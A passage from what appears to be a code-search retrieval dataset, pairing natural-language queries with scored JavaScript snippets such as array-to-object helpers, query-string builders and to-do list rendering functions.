that._parseLinqToValue();\n }\n\n const value = that.value;\n\n if (!Array.isArray(value) ||\n JSON.stringify(value).replace(/[\\[\\]]/g, '') === '') {\n that.value = [[[]]];\n return;\n }\n\n if (value.length === 3 && typeof value[0] === 'string') {\n that.value = [[value]];\n }\n\n if (Array.isArray(value[0]) && value[0].length === 3 && typeof value[0][0] === 'string') {\n that.value = [value];\n }\n\n while (typeof value[0] === 'string') {\n value.shift();\n }\n\n while (typeof value[value.length - 1] === 'string') {\n value.pop();\n }\n\n that.value.forEach(item => {\n if (Array.isArray(item) && item.length === 0) {\n item.push([]);\n }\n });\n }", "title": "" }, { "docid": "a0025de84ec9af30955ca030edecfa9d", "score": "0.5172979", "text": "function arraysToObject(arr) {\n var obj = {};\n for (var i = 0; i < arr.length; i++) {\n obj[arr[i][0]] = arr[i][1]\n }\n return obj;\n}", "title": "" }, { "docid": "7abd8ef6fe571bc5c6b944903202c94c", "score": "0.5169801", "text": "function normalizeToArray(value) {\n return [].concat(value);\n }", "title": "" }, { "docid": "46fd663d363067bdae45defeaec044cb", "score": "0.51604015", "text": "function normalizeToArray(value) {\n return [].concat(value);\n}", "title": "" }, { "docid": "6ddd321cb0f38eecbb639365a3083dd5", "score": "0.5152558", "text": "function getConvertor(value, name) {\n if (isBoolean(value)) {\n return (input) => {\n if (isBoolean(input)) {\n return input;\n }\n if (input === 'true' || input === 'false') {\n return input === 'true';\n }\n\n console.log(\n warningLabel(`Invalid value given for ${chalk.bold(name)}.`),\n `Will use the default ${chalk.bold(value)}.`\n );\n\n return value;\n };\n } else if (Array.isArray(value)) {\n return (input) => {\n let parsed;\n try {\n parsed = JSON.parse(input);\n } catch (err) {\n // Ignore this case\n }\n\n if (Array.isArray(parsed)) {\n return parsed;\n }\n\n return input.toString().split(',');\n };\n } else if (Number.isInteger(value)) {\n return (input) => parseInt(input, 10);\n } else if (!isString(value) && (!value || Object.keys(value).length === 0)) {\n return (input) => JSON.parse(input);\n }\n\n return (input) => input;\n}", "title": "" }, { "docid": "b4c009d36d35ac5ecac410143589b3e8", "score": "0.5142828", "text": "function toObject (arr) {\n\t var res = {};\n\t for (var i = 0; i < arr.length; i++) {\n\t if (arr[i]) {\n\t extend(res, arr[i]);\n\t }\n\t }\n\t return res\n\t}", "title": "" }, { "docid": "b4c009d36d35ac5ecac410143589b3e8", "score": "0.5142828", "text": "function toObject (arr) {\n\t var res = {};\n\t for (var i = 0; i < arr.length; i++) {\n\t if (arr[i]) {\n\t extend(res, arr[i]);\n\t }\n\t }\n\t return res\n\t}", "title": "" }, { "docid": "b4c009d36d35ac5ecac410143589b3e8", "score": "0.5142828", "text": "function toObject (arr) {\n\t var res = {};\n\t for (var i = 0; i < arr.length; i++) {\n\t if (arr[i]) {\n\t extend(res, arr[i]);\n\t }\n\t }\n\t return res\n\t}", "title": "" }, { "docid": "b4c009d36d35ac5ecac410143589b3e8", "score": "0.5142828", "text": "function toObject (arr) {\n\t var res = {};\n\t for (var i = 0; i < arr.length; i++) {\n\t if (arr[i]) {\n\t extend(res, arr[i]);\n\t }\n\t }\n\t return res\n\t}", "title": "" }, { "docid": "a7d66acd6cd378b4ecc9eb4ff20b1285", "score": "0.5141213", "text": "function objectifyForm(formArray) {\n var returnArray = {};\n for (var i = 0; i < formArray.length; i++){\n returnArray[formArray[i]['name']] = formArray[i]['value'];\n }\n return returnArray;\n}", "title": "" }, { "docid": "dd0bf4d16b7a708b694f05e93173078c", "score": "0.51270044", "text": "fromObject(obj, convertCase) {\n\n //No obj?\n if (!obj || !angular.isObject(obj)) {\n return '';\n }\n\n //Initialize parts array\n let parts = [];\n\n //Loop the parameters\n angular.forEach(obj, (value, key) => {\n\n //Skip null/undefined values\n if (value === null || angular.isUndefined(value)) {\n return;\n }\n\n //Convert to array\n if (!angular.isArray(value)) {\n value = [value];\n }\n\n //Loop values\n angular.forEach(value, (v) => {\n\n //Handle objects\n if (angular.isObject(v)) {\n if (angular.isDate(v)) {\n v = v.toISOString();\n }\n else {\n v = angular.toJson(v);\n }\n }\n\n //Convert case?\n switch (convertCase) {\n case 'snake':\n key = $stringConverter.toSnakeCase(key);\n break;\n case 'camel':\n key = $stringConverter.toCamelCase(key);\n break;\n }\n\n //Push to parts\n parts.push(\n tryEncodeURIComponent(key) + '=' + tryEncodeURIComponent(v)\n );\n });\n });\n\n //Any parts?\n if (parts.length > 0) {\n return parts.join('&');\n }\n\n //No parts\n return '';\n }", "title": "" }, { "docid": "d24e379b45b06ae1137ea98562841a25", "score": "0.5124053", "text": "function toObject(arr) {\n var res = {};\n for (var i = 0; i < arr.length; i++) {\n if (arr[i]) {\n extend(res, arr[i]);\n }\n }\n return res;\n}", "title": "" }, { "docid": "d24e379b45b06ae1137ea98562841a25", "score": "0.5124053", "text": "function toObject(arr) {\n var res = {};\n for (var i = 0; i < arr.length; i++) {\n if (arr[i]) {\n extend(res, arr[i]);\n }\n }\n return res;\n}", "title": "" }, { "docid": "d24e379b45b06ae1137ea98562841a25", "score": "0.5124053", "text": "function toObject(arr) {\n var res = {};\n for (var i = 0; i < arr.length; i++) {\n if (arr[i]) {\n extend(res, arr[i]);\n }\n }\n return res;\n}", "title": "" }, { "docid": "d24e379b45b06ae1137ea98562841a25", "score": "0.5124053", "text": "function toObject(arr) {\n var res = {};\n for (var i = 0; i < arr.length; i++) {\n if (arr[i]) {\n extend(res, arr[i]);\n }\n }\n return res;\n}", "title": "" }, { "docid": "d24e379b45b06ae1137ea98562841a25", "score": "0.5124053", "text": "function toObject(arr) {\n var res = {};\n for (var i = 0; i < arr.length; i++) {\n if (arr[i]) {\n extend(res, arr[i]);\n }\n }\n return res;\n}", "title": "" }, { "docid": "d24e379b45b06ae1137ea98562841a25", "score": "0.5124053", "text": "function toObject(arr) {\n var res = {};\n for (var i = 0; i < arr.length; i++) {\n if (arr[i]) {\n extend(res, arr[i]);\n }\n }\n return res;\n}", "title": "" }, { "docid": "d24e379b45b06ae1137ea98562841a25", "score": "0.5124053", "text": "function toObject(arr) {\n var res = {};\n for (var i = 0; i < arr.length; i++) {\n if (arr[i]) {\n extend(res, arr[i]);\n }\n }\n return res;\n}", "title": "" } ]
1ac9794925b575bffef811460f3937d2
PAGE DISPLAY FUNCTIONS function for generating empty html of taskArray for each day
[ { "docid": "0cc2f5e12c53537b92ee85b9ce3bda58", "score": "0.603624", "text": "function updateTasks(lowerI,upperNI)\n{\n // i cycles through days within given range\n for(let i=lowerI;i<upperNI;i++)\n {\n // variable to written into innerHTML of alltasks container\n let taskshtml=\"\";\n\n // j cycles through tasks for day i\n for(let j=0;j<dayArray[i].taskArray.length;j++)\n {\n // is main task checked? (strikethrough only)\n let taskId = `id=\"task-desc-${i}-${j}-null\"`;\n if(dayArray[i].taskArray[j].checked)\n {\n taskId += ` style=\"text-decoration: line-through\"`;\n }\n\n // should this task be highlighted?\n let focusString=\"\";\n if(i==indexFocus.day&&j==indexFocus.task&&null==indexFocus.subtask)\n {\n focusString=`focused-task`;\n }\n\n // adding button to collapse/expand if the task has subtasks\n let expandable = \"\";\n let subtaskOpenerString = \"\";\n let subtaskCloserString = \"\";\n let thisTaskClosed = false;\n\n if(dayArray[i].taskArray[j].subtaskArray.length>0)\n {\n\n // toggling button based on storage state\n let innerButtonString = \"remove\";\n let maxHeight = \"500000px\";\n if(dayArray[i].taskArray[j].closed!=undefined)\n {\n if(dayArray[i].taskArray[j].closed)\n {\n innerButtonString = \"add\";\n maxHeight = \"0px\";\n thisTaskClosed = true;\n }\n }\n\n subtaskOpenerString = `<div id=\"subtask-container-${i}-${j}-null\" class=\"subtask-container\" style=\"max-height: ${maxHeight}\">`;\n subtaskCloserString = `</div>`;\n \n expandable = `<button class=\"mdl-button mdl-js-button mdl-button--icon mdl-button--colored expander\">\n <i class=\"material-icons\" id=\"expander-${i}-${j}-null\">${innerButtonString}</i>\n </button>`\n }\n \n // adding task\n taskshtml +=\n `<div class=\"task-container ${focusString}\" id=\"task-container-${i}-${j}-null\">\n <div class=\"task-slot\" id=\"task-slot-${i}-${j}-null\">\n <label class=\"mdl-checkbox mdl-js-checkbox mdl-js-ripple-effect\" for=\"list-checkbox-${i}-${j}-null\">\n <input type=\"checkbox\" id=\"list-checkbox-${i}-${j}-null\" class=\"mdl-checkbox__input\"/>\n </label>\n <div ${taskId} class=\"task-text\">${dayArray[i].taskArray[j].description}</div>\n ${expandable}\n </div>`;\n\n // add bar if task has subtasks to show or if task has a due date or if task is in focus AND its drawer is open\n if(((dayArray[i].taskArray[j].subtaskArray.length>0\n ||(indexFocus.day==i&&indexFocus.task==j))\n &&(!thisTaskClosed))\n ||dayArray[i].taskArray[j].dueDate)\n {\n taskshtml+=`<hr>`;\n }\n\n // adding opener div for subtask expansion\n taskshtml += subtaskOpenerString;\n\n // k cycles through subtasks for task j on day i\n for(let k=0;k<dayArray[i].taskArray[j].subtaskArray.length;k++)\n {\n // is this subtask checked? (strikethrough only)\n let subtaskId = `id=\"task-desc-${i}-${j}-${k}\"`;\n if(dayArray[i].taskArray[j].subtaskArray[k].checked)\n {\n subtaskId += ` style=\"text-decoration: line-through\"`;\n }\n\n // should this subtask be highlighted?\n let sFocusString=\"\";\n if(i==indexFocus.day&&j==indexFocus.task&&k==indexFocus.subtask)\n {\n sFocusString=`focused-subtask`;\n }\n // adding subtask\n taskshtml+= `<div class=\"subtask-slot ${sFocusString}\" id=\"task-slot-${i}-${j}-${k}\">\n <label class=\"mdl-checkbox mdl-js-checkbox mdl-js-ripple-effect\" for=\"list-checkbox-${i}-${j}-${k}\">\n <input type=\"checkbox\" id=\"list-checkbox-${i}-${j}-${k}\" class=\"mdl-checkbox__input\"/>\n </label>\n <div class=\"subtask-text\" ${subtaskId}>${dayArray[i].taskArray[j].subtaskArray[k].description}</div>\n </div>`;\n\n // only add bar if not last subtask or if task is focused (has create subtask box below it)\n if(k!=(dayArray[i].taskArray[j].subtaskArray.length-1)\n ||((i==indexFocus.day)&&(j==indexFocus.task))\n ||(k==(dayArray[i].taskArray[j].subtaskArray.length-1))&&dayArray[i].taskArray[j].dueDate!=\"\")// if on last one and due date is around, add a line\n {\n taskshtml+=`<hr class=\"short-bar\">`;\n }\n\n }\n // adding div to add a subtask if in focus\n if((i==indexFocus.day)&&(j==indexFocus.task))\n {\n taskshtml+= `<div class=\"subtask-slot\">\n <textarea placeholder=\"Add a Subtask\"\n id=\"input-${i}-${j}-false\"\n style=\"z-index:100; margin-left:11.5%;\n margin-top: 2px; margin-bottom:0px; font-size: 16px;\"\n rows = \"1\"\n oninput = \"textareaExpand(${i},${j},false)\"\n onkeyup = \"if (event.keyCode == 13) addTask(${i},${j},false)\"></textarea>\n </div>`\n }\n\n // adding due date and repetition to one task j on a given day i\n if((i==indexFocus.day)&&(j==indexFocus.task)) // if in focus add date and repetition editor\n {\n taskshtml +=`<hr>\n <div class=\"task-slot\" style=\"font-size: 16px; color:rgb(114, 114, 114);\">\n Due Date:\n <div style=\"flex-direction: row; display:flex;\" name=\"dateInput\" >\n\n <input class=\"mdl-textfield__input\" type=\"number\" id=\"date1\" name=\"dateInput\" \n onkeyup=\"if (event.keyCode == 13) updateFocusedDueDate()\"\n style=\"margin-left: 8px;\">\n <label class=\"mdl-textfield__label\" for=\"date1\"></label>\n /\n <input class=\"mdl-textfield__input\" type=\"number\" id=\"date2\" name=\"dateInput\" \n onkeyup=\"if (event.keyCode == 13) updateFocusedDueDate()\">\n <label class=\"mdl-textfield__label\" for=\"date2\"></label>\n /\n <input class=\"mdl-textfield__input\" type=\"number\" id=\"date3\" name=\"dateInput\" \n onkeyup=\"if (event.keyCode == 13) updateFocusedDueDate()\">\n <label class=\"mdl-textfield__label\" for=\"date3\"></label>\n </div>\n </div>\n <div class=\"task-slot\" style=\"font-size: 16px; color:rgb(114, 114, 114);\">\n Repeat every\n <div style=\"flex-direction: row; display:flex;\" name=\"dateInput\" >\n <input class=\"mdl-textfield__input\" type=\"number\" id=\"repeatFrequency\" \n name=\"dateInput\" style=\"margin-left: 8px; margin-right: 6px;\" \n onkeyup=\"if (event.keyCode == 13) updateRepetition(0,false)\">\n <label class=\"mdl-textfield__label\" for=\"repeatFrequency\"></label>\n </div>\n days\n </div>`\n \n // closing subtask container if necessary\n taskshtml+=subtaskCloserString;\n\n }\n else // if not in focus // ADD a repeat every 3 days/months &/or duedate\n {\n // closing subtask container if necessary\n taskshtml+=subtaskCloserString;\n\n // adding duedate display\n let dueDate = generateDueDateString(dayArray[i].taskArray[j].dueDate);\n let color = `color: rgb(50,190,166);`;\n if(dueDate.past&&!(dayArray[i].taskArray[j].checked)) // if dueDate has gone by and it hasn't been ticked off\n {\n color = `color: red;`;\n }\n if(dayArray[i].taskArray[j].checked)\n {\n color = `text-decoration: line-through;`;\n }\n\n taskshtml+= `<span class=\"due-date\" style=\"text-align: center;${color}\" id=due-date-${i}-${j}-null>${dueDate.string}</span>`;\n\n // adding repetition display\n let repetitionString = \"\"\n if(dayArray[i].taskArray[j].repetition!=undefined&&dayArray[i].taskArray[j].repetition.id!=null&&dayArray[i].taskArray[j].repetition.frequency!=\"\")\n {\n // adding a break if a date was displayed as well\n if(dueDate.string!=\"\")\n {\n taskshtml+=`<br>`;\n }\n repetitionString = `Every ${dayArray[i].taskArray[j].repetition.frequency} Days`;\n }\n taskshtml+= `<span class=\"due-date\" style=\"text-align: center;\" id=due-date-${i}-${j}-null>${repetitionString}</span>`;\n }\n\n // closing container for task j\n taskshtml+=`</div>`;\n }\n\n // adding data to correct alltasks div\n let element = document.getElementById(`all-tasks-${i}-null-null`);\n element.innerHTML=taskshtml;\n\n // ticking required mdl checkboxes for that day (can only be done once checkbox has been inserted)\n for(let j=0;j<dayArray[i].taskArray.length;j++)\n {\n document.getElementById(`list-checkbox-${i}-${j}-null`).checked = false;\n if(dayArray[i].taskArray[j].checked)\n {\n document.getElementById(`list-checkbox-${i}-${j}-null`).checked = true;\n }\n\n for(let k=0;k<dayArray[i].taskArray[j].subtaskArray.length;k++)\n {\n // is this subtask checked? (checkbox only)\n document.getElementById(`list-checkbox-${i}-${j}-${k}`).checked = false;\n if(dayArray[i].taskArray[j].subtaskArray[k].checked)\n {\n document.getElementById(`list-checkbox-${i}-${j}-${k}`).checked = true;\n }\n }\n }\n\n // if focus is on a task in that day, link and fill in date/repetition editor\n // NOTE: only i is defined at this scope, not j and k\n if((i==indexFocus.day)&&(indexFocus.task!=null))\n {\n // linking date inputs\n let date1 = document.getElementById(\"date1\");\n let date2 = document.getElementById(\"date2\");\n let date3 = document.getElementById(\"date3\");\n\n // backward navigation\n\n date3.addEventListener(\"keydown\",(event)=>{\n if(`${event.code}`==\"Backspace\"&&date3.value.length==0)\n {\n date2.focus();\n date2.select();\n } return;\n })\n\n date2.addEventListener(\"keydown\",(event)=>{\n if(`${event.code}`==\"Backspace\"&&date2.value.length==0)\n {\n date1.focus();\n date1.select();\n } return;\n }) \n\n // filling in with stored inputs\n // date\n let relevantDueDate = new Date(Date.parse(dayArray[i].taskArray[indexFocus.task].dueDate));\n date1.value = `${relevantDueDate.getDate()}`;\n date2.value = `${relevantDueDate.getMonth()+1}`;\n date3.value = `${relevantDueDate.getFullYear()-2000}`; // all years are from 2000 - 2100;\n\n // repetition (may be undefined as storage was created well before this was implemented)\n let repetitionData = dayArray[i].taskArray[indexFocus.task].repetition;\n if(repetitionData==undefined)\n {\n repetitionData = {id: null,\n frequency: \"\",\n };\n }\n\n document.getElementById(\"repeatFrequency\").value = repetitionData.frequency;\n }\n }\n return;\n}", "title": "" } ]
[ { "docid": "9a5d4d964020ae99c9cfea73a90e0329", "score": "0.710594", "text": "function renderDailyTasksById(tasks) {\n const container = document.createElement('div');\n container.style.marginTop = '20px';\n for (const task of tasks) {\n const taskElem = document.createElement('div');\n taskElem.classList.add('task');\n const colorElem = document.createElement('div');\n colorElem.classList.add('task-color');\n colorElem.style.setProperty('--task-color', task.color);\n const nameElem = document.createElement('div');\n nameElem.classList.add('task-name');\n nameElem.textContent = task.name;\n const countsElem = document.createElement('div');\n countsElem.classList.add('task-counts');\n countsElem.textContent = `${task.doneCount}/${task.slotCount}`;\n taskElem.appendChild(colorElem);\n taskElem.appendChild(nameElem);\n taskElem.appendChild(countsElem);\n container.appendChild(taskElem);\n }\n if (tasks.length > 0) {\n const doneCount = tasks.reduce((sum, task) => sum + task.doneCount, 0);\n const requiredCount = tasks.reduce((sum, task) => sum + task.slotCount, 0);\n const totalElem = document.createElement('div');\n totalElem.classList.add('task-total');\n totalElem.textContent = `Total: ${doneCount}/${requiredCount}`;\n container.appendChild(totalElem);\n } else {\n container.appendChild(\n createConductToPage(\n 'There is no task to do for today.',\n 'Create A New Task',\n `${PATH}?page=task-add`\n )\n );\n }\n document.getElementById('dailytasks').replaceChildren(container);\n}", "title": "" }, { "docid": "d66a7abd68cd282b5c4256c5b3324b64", "score": "0.7078659", "text": "render() {\n // console.log(\"render()\");\n // console.log(`this.tasks = ${this.tasks.length}`);\n // Create an array to store the tasks' HTML\n const tasksHtmlList = [];\n const tasksList = document.querySelector(\"#tasksList\");\n // Loop over our tasks and create the html, storing it in the array\n for (let i = 0; i <= this.tasks.length; i++) {\n // alert(`length render ${this.tasks.length}`);\n if (!this.tasks.length) {\n tasksList.innerHTML = \"\";\n return;\n }\n // alert(this.tasks.length);\n // Get the current task in the loop\n const task = this.tasks[i];\n //\n `task = ${this.tasks[i]}`;\n\n if (!task) return;\n // Format the date\n const date = new Date(task.dueDate);\n const formattedDate =\n date.getDate() + \"/\" + (date.getMonth() + 1) + \"/\" + date.getFullYear();\n // date.getFullYear() + \"/\" + (date.getMonth() + 1) + \"/\" + date.getDate();\n // Create the task html\n const taskHtml = createTaskHtml(\n task.id,\n task.taskName,\n task.description,\n task.assignedTo,\n task.status,\n formattedDate\n );\n\n // Push it to the tasksHtmlList array\n tasksHtmlList.push(taskHtml);\n\n // Create the tasksHtml by joining each item in the tasksHtmlList\n // with a new line in between each item.\n const tasksHtml = tasksHtmlList.join(\"\\n\");\n\n // Set the inner html of the tasksList on the page\n // const tasksList = document.querySelector(\"#tasksList\");\n tasksList.innerHTML = tasksHtml;\n }\n }", "title": "" }, { "docid": "b9082df0b212e2dc90a866205241b5f5", "score": "0.69845843", "text": "function addTasksToPage(tasksArray) {\n tasks.innerHTML = \"\";\n tasksArray.forEach((task) => {\n // create the task div\n let div = document.createElement(\"div\");\n div.className = \"task\";\n if(task.completed) {\n div.className = \"task done\";\n }\n div.setAttribute(\"data-id\",task.id);\n div.appendChild(document.createTextNode(task.title));\n // create the delete button\n let btn = document.createElement(\"span\");\n btn.className = \"btn-delete\";\n btn.appendChild(document.createTextNode(\"Delete\"));\n // append the delete button to the task div\n div.appendChild(btn);\n // append the task div to page tasks\n tasks.appendChild(div);\n })\n}", "title": "" }, { "docid": "5ab96b86f83205def04cb9b28406e197", "score": "0.69821924", "text": "render() {\n clearBox();\n const tasksHtmlList = [];\n for (let i = 0; i < this.tasks.length; i++) {\n const firstVariable = this.tasks[i];\n const date = new Date(firstVariable.dueDate);\n date.setDate(date.getDate() + 1);\n const formattedDate = date.toDateString();\n const taskHtml = createTaskHtml(firstVariable.id, firstVariable.taskTitle, firstVariable.description, firstVariable.assignedTo, formattedDate, firstVariable.taskStatus)\n tasksHtmlList.push(taskHtml);\n }\n\n const tasksHtml = tasksHtmlList.join('\\n');\n const element = document.createElement('div');\n element.appendChild(document.createTextNode(createTaskHtml));\n document.getElementById('task-list').appendChild(element);\n element.innerHTML = tasksHtml;\n }", "title": "" }, { "docid": "949f35a5beb0198306919f10761d69f2", "score": "0.69693553", "text": "function displayDays()\n{\n let html = \"\";\n let element = document.getElementById(\"forAddingDays\")\n\n for(let i=0;i<dayArray.length;i++)\n {\n let snapAdder = \"\";\n // if start of week adding class which will provide a snap to\n if(((i+5)%7)==0||((i+2)%7)==0||(i%7)==0||i==indexCurrentDay) // monday, thursday, saturday, current day (mandatory)\n //if(i==indexCurrentDay||dayArray[i].taskArray.length>0) // current day, days with tasks (proximity)\n {\n snapAdder = `snap`;\n }\n\n // adding gold border around current day\n let goldBorderString = \"\";\n if(i==indexCurrentDay)\n {\n goldBorderString = `current-day-header`;\n }\n\n // Getting date data\n let newDateObject = new Date(2021, 4, 1, 0, 0, 0);\n newDateObject.setDate(DAY_ZERO.getDate()+i);\n\n let data = getDateDetails(newDateObject);\n\n // adding indexed id to day container for auto-scroll reasons\n html += `<div class=\"day-container ${snapAdder}\" id=\"day-container-${i}-null-null\">\n <div class=\"day-header ${goldBorderString}\" id=\"defocus-${i}-null-null\">${data.day}</div>\n <div class=\"bottom-detail\">\n <textarea\n class = \"textarea-date\"\n placeholder=\"Add a Task\"\n id=\"input-${i}-false-false\"\n style=\"width: 70%; z-index:100;\"\n rows = \"1\"\n oninput = \"textareaExpand(${i},false,false)\"\n onkeyup = \"if (event.keyCode == 13) addTask(${i},false,false)\"></textarea>\n <div class=\"date-holder unselectable\" id=\"defocus-${i}-null-null\">${data.date} ${data.month}</div>\n </div>\n <div class=\"all-tasks\" id=\"all-tasks-${i}-null-null\"></div>\n </div>`;\n }\n\n // adding empty days to the page\n element.innerHTML = html;\n return;\n}", "title": "" }, { "docid": "ffe67b4d0ccdbd186bb3b5db91baecd6", "score": "0.68904746", "text": "render() {\n const tasksListHTML = [];\n this.tasks.forEach((task) => {\n const { name, description, assignedTo, dueDate, status, id } = task;\n const date = new Date(dueDate);\n const formattedDate = date.toDateString();\n const taskHTML = this.addTaskHTML(\n name,\n description,\n assignedTo,\n formattedDate,\n status,\n id\n );\n tasksListHTML.push(taskHTML);\n });\n const tasksHTML = tasksListHTML.join(\"\\n\");\n document.getElementById(\"task-cards-section\").innerHTML = tasksHTML;\n }", "title": "" }, { "docid": "8b0cef523f68a651deff1859c5b07b63", "score": "0.6866773", "text": "static displayTask() {\n const taskList = [{\n task: \"(Example) Reply to Jane Doe's Email\",\n name: \"Mazen Abdul\",\n date: \"2020-08-24\"\n }]\n\n const tasks = taskList\n tasks.forEach((task) => {\n UserInterface.addToTable(task)\n })\n\n }", "title": "" }, { "docid": "fc52c19e9dea02c8db67980f57337077", "score": "0.68478674", "text": "function displayTasks(){\r\n\tcurrentlyActiveTasks.forEach((element, index) => {\r\n\t\tdisplayNewActiveTask(\r\n\t\t\telement.taskTitle, \r\n\t\t\telement.taskDescription, \r\n\t\t\telement.taskDueDate\r\n\t\t);\r\n\t});\r\n\r\n\tcurrentlyCompletedTasks.forEach((element, index) => {\r\n\t\tdisplayNewCompletedTask(\r\n\t\t\telement.taskTitle, \r\n\t\t\telement.taskDescription, \r\n\t\t\telement.taskDueDate\r\n\t\t);\r\n\t});\r\n}", "title": "" }, { "docid": "2bfb8bcaded81357791a1fd058af6ca0", "score": "0.6840938", "text": "function displayTasks() {\n sortTasks();\n taskdisplay.innerHTML = '';\n let tempnum = 0;\n for (const t of maintodolist.tasks) {\n const TASK = createTaskHTML(t, tempnum, false);\n tempnum++;\n for (const s of t.subtasks) {\n const SUB = createTaskHTML(s, tempnum, true);\n TASK.appendChild(SUB);\n tempnum++;\n }\n taskdisplay.appendChild(TASK);\n }\n pointsdisplay.innerText = maintodolist.points;\n streakdisplay.innerText = maintodolist.streak;\n displayHomePageTasks();\n}", "title": "" }, { "docid": "eb3c2de61903b798744821f0948b0472", "score": "0.67896783", "text": "function outputTasksDay (A) {\n var taskList = \"<b>Lesson: </b> + A[0]<br><br>\";\n for (var i = 0; i < A[1].length; i++) {\n var task = A[1][i][1];\n task = task.replace(/\\n/g, '<br>');\n taskList = taskList.concat(`<b>Task ${i + 1}:</b>` + \"<br>Expected time: <b>\" + A[1][i][2] + \"</b><br>\" +\n \" Task: <b>\" + A[1][i][0] + \"</b><br>\" +\n \" Instructions: <br>\" + task + \"<br><br>\");\n }\n return taskList;\n}", "title": "" }, { "docid": "339e97a42505c241a79267ad1afd2eba", "score": "0.67667633", "text": "render() {\n this.clearColumns();\n this.tasks.forEach(currentTask => {\n //console.log(currentTask);\n const date = new Date(currentTask.dueDate);\n const formattedDate =\n date.getDate() + \"/\" + (date.getMonth() + 1) + \"/\" + date.getFullYear();\n const column = document.querySelector(`.${currentTask.status}`);\n const taskHtml = createTaskHtml(currentTask.id, currentTask.title, currentTask.details, currentTask.assignTo, formattedDate, currentTask.status);\n column.innerHTML += taskHtml;\n });\n }", "title": "" }, { "docid": "cb7cb2e78366cd2596cc985c4d4cb21a", "score": "0.67099863", "text": "function showTasks(){\n for (let i = 0; i < data.openTasks.length; i++){\n addToList(data.openTasks[i], i, \"view-section\");\n }\n for (let i = 0; i < data.completedTasks.length; i++){\n addToList(data.completedTasks[i], i, \"completed-section\");\n }\n}", "title": "" }, { "docid": "e2a0b64c89ef1cc490b8c29ae1ad88ac", "score": "0.6555791", "text": "function showTasks(tasks){\n $('#tasksTable').empty();\n for (const task of tasks) {\n //isComplete was set as a boolean so this variables are needed to show 'In progress' and 'Complete' on DOM\n let status = task.isComplete ? 'Complete' : 'In progress';\n //Sets background color of the task\n let statusClass = task.isComplete ? 'completeTask' : 'taskInProgress';\n let completeBtn = \"\";\n //If task is complete it will not show the complete button\n if(!task.isComplete){\n completeBtn = `<button data-id=${task.id} class=\"completeBtn btn btn-success btn-sm\">Complete</button>`\n }\n //If task.completeDate is empty show nothing on DOM, else show formatted date\n let completionDate = \"\";\n if (task.completeDate){\n completionDate = prettyDate(task.completeDate)\n }\n $('#tasksTable').append(`\n <tr class=${statusClass}>\n <th>${task.task}</th>\n <th>${status}</th>\n <th>${completionDate}</th>\n <th>${completeBtn}</th>\n <th><button data-id=${task.id} class=\"deleteBtn btn btn-danger btn-sm\">Delete</button></th>\n </tr>\n `);\n }\n}", "title": "" }, { "docid": "bd1ed9f3694b90a8de3ffde5fae945b2", "score": "0.6545281", "text": "function displayTasks (taskList) {\n //Empty table to prep for append\n $('#incompleteTasks').empty();\n $('#completeTasks').empty();\n\n //Loop through taskList array\n for (let i = 0; i < taskList.length; i++) {\n let currentTask = taskList[i];\n let $row = $(`<tr data-id=\"${currentTask.id}\" data-status=\"${currentTask.status}\">`); //add task id to tr to access later \n let date = currentTask.due_date;\n \n //SPLIT THIS INTO NEW FUNCTION\n if(date != null){\n date = date.split('T')[0];\n date = date.split('-');\n date = date[1] + '/' + date[2] + '/' + date[0];\n } //end if date is not null \n else {\n date = 'Unknown';\n } //end date is null\n\n //Append task info to row\n $row.append(`\n <td class=\"toggleStatus\">${currentTask.name}</td>\n <td class=\"toggleStatus\">${currentTask.category_name}</td>\n <td class=\"toggleStatus\">${date}</td>\n <td><button class=\"editTask taskButton\"><i class=\"fa fa-pencil\"</i></button></td>\n <td><button class=\"deleteTask taskButton\"><i class=\"fa fa-trash\" aria-hidden=\"true\"></i></button></td>`);\n\n if(currentTask.status == 'Complete') {\n $row.addClass('completeTask');\n $('#completeTasks').append($row);\n } //end append complete tasks\n if(currentTask.status == 'Incomplete'){\n if(isDeadlinePassed(date) == true){\n $row.addClass('overdueTask');\n } //end check deadline\n $('#incompleteTasks').append($row);\n } //end append incomplete tasks\n } //end for loop\n} // end displayTasks", "title": "" }, { "docid": "34dd99ac5edc3704c75dff1768c8f189", "score": "0.64846647", "text": "function renderTasks(tasks) {\n \n todoList.innerHTML = tasks;\n \n}", "title": "" }, { "docid": "a4644c192ebadc0b47ca602ce60e2b41", "score": "0.6469542", "text": "function show_full_task_list() {\n\t\n\tfor (var i = 0, length = task_array.length; i < length; i++) {\n\t\tvar line_item = '<li class=\"child\">%data%</li>';\n\t\tvar new_line_item = line_item.replace(\"%data%\", task_array[i].task_name);\n\t\t$('#show_full_list').append(new_line_item);\n\t}\n}", "title": "" }, { "docid": "06ddf7f0106ea804934465e7aca9d7e6", "score": "0.6469174", "text": "function displayTasks(tasks) {\n console.log(tasks);\n $('#task-content').empty();\n for (let i=0; i < tasks.length; i++) {\n //make buttons to complete and delete a task\n let btnDel = `<button class=\"btn-del\" data-id=${tasks[i].id}>Delete</button>`;\n let btnComp = `<button class=\"btn-comp\" data-id=${tasks[i].id}>Complete</button>`;\n let rowStatus = '';\n let compTime = formatTimestamp(tasks[i].completed_at);\n if (tasks[i].isComp) {\n rowStatus = 'table-success'; //bootstrap class\n btnComp = `<button class=\"btn-comp\" data-id=${tasks[i].id}>${compTime}</button>`\n }\n else {\n rowStatus = 'table-warning'; //bootstrap class\n }\n\n //append to the DOM\n $('#task-content').append(`\n <tr class=\"${rowStatus} .col-md-4\">\n <td>${tasks[i].task_name}</td>\n <td>${btnComp}</td>\n <td>${btnDel}</td>\n </tr>`);\n } \n}", "title": "" }, { "docid": "5003133954fa4bac52f06b6429f6a71d", "score": "0.6462434", "text": "function listTask(){\n\t\t\t\tlet results =\"<ol>\";\n\t\t\t\tfor(let i=0;i<tasks.length;i++){\n\t\t\t\t\tresults += \"<li>\" + tasks[i] + \"</li>\";\n\t\t\t\t}\n\t\t\t\tresults += \"</ol>\";\n\t\t\t\tdocument.getElementById(\"taskCon\").innerHTML = results;\n\t\t\t\t\n\n\t\t\t}", "title": "" }, { "docid": "2f515016df596e5d05e71f88ba2475c2", "score": "0.6461863", "text": "function showTasks() {\n\tsortTasks();\n\t\n\tvar template = $(\"#empty-task\");\n\t\n\t$(\"#task-list\").empty();\n\tvar current;\n\t\n\tvar domObj;\n\tfor (var i in shown) {\n\t\t//clone empty-task\n\t\tdomObj = template.clone();\n\t\tcurrent = 